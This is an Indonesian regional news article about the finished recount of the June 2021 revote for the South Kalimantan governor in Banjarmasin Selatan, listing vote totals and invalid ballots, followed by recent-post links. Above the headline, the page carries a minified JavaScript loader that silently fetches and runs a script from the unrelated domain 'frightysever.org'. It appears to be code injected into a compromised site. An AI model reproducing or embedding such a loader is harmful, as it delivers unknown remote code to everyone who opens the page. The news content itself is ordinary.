(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Rekapitulasi Hasil PSU Pilgub di Banjarmasin Selatan Selesai, Ada 2.616 Suara Tidak Sah


KANALAKALIMANTAN.COM, BANJARMASIN –  Proses rekapitulasi hasil perhitungan surat suara Pemungutan Suara Ulang (PSU) Pilgub Kalsel di Kecamatan Banjarmasin Selatan, Kota Banjarmasin, selesai dilakukan, Minggu (13/6/2021) malam.

Karena sudah selesai, logistik PSU pun langsung dibawa menuju gudang KPU Kota Banjarmasin. Seluruh logistik itu diangkut menggunakan sebuah truk, dari kantor Kecamatan Banjarmasin Selatan dengan pengawalan aparat kepolisian.

“Kotak dan surat suara yang sudah direkapitulasi kami bawa ke gudang KPU Banjarmasin. Di sana nanti logistik dijaga ketat,” ujar Ketua KPU Kota Banjarmasin, Rahmiati Wahdah.

Proses rekapitulasi perhitungan surat suara dari 301 Tempat Pemungutan Suara (TPS) yang tersebar pada 12 kelurahan itu, dilakukan selama tiga hari 11-13 Juni 2021.

 

Baca juga: Razia Premanisme di Amuntai, Polisi Tangkap Tiga Orang

Hasilnya, pasangan calon nomor urut 1 H Sahbirin-H Muhidin memperoleh suara sah sebanyak 47.030 suara. Sementara pasangan calon H Denny-H Difri memperoleh suara sah sebanyak 23.806 suara.

Dari hasil rekapitulasi PSU di Kecamatan Banjarmasin Selatan didapati surat suara tidak sah sebanyak 2.616 suara. Sehingga total suara sah dan suara tidak sah berjumlah 73.452 suara.

Semua hasil tersebut tercantum dalam berita acara dan sertifikat rekapitulasi hasil perhitungan suara, di tingkat kecamatan dari seluruh TPS dalam PSU Pilgub Kalsel.

Baca juga: Dengar Tangis dari Semak Belukar, Temuan Bayi Laki-laki di Buntok Ada yang Siap Adopsi

“Berita acara dan sertifikat rekapitulasi ditandatangani oleh seluruh panitia pemilihan kecamatan, dan termasuk saksi paslon nomor urut 1,” kata Rahmiati Wahdah.

Sementara saksi paslon nomor urut 2 tidak ikut mendatangani berita acara dan sertifikat rekapitulasi tersebut.

Ketua KPU Kota Banjarmasin menambahkan, terkait jadwal proses rekapitulasi tingkat kota akan dilaksanakan antara 13 hingga 17 Juni 2021.

“Kemungkinan antara tanggal 15 atau 16 Juni pleno tingkat kota, tapi kami belum bisa menentukan lagi kapan. Intinya menyelesaikan pleno tingkat kecamatan dulu,” pungkas Rahmi. (kanalkalimantan.com/tius)

Reporter: tius
Editor: bie

 

 


Al Ghifari

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

3 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

5 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

6 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

7 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

9 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

11 jam ago

This website uses cookies.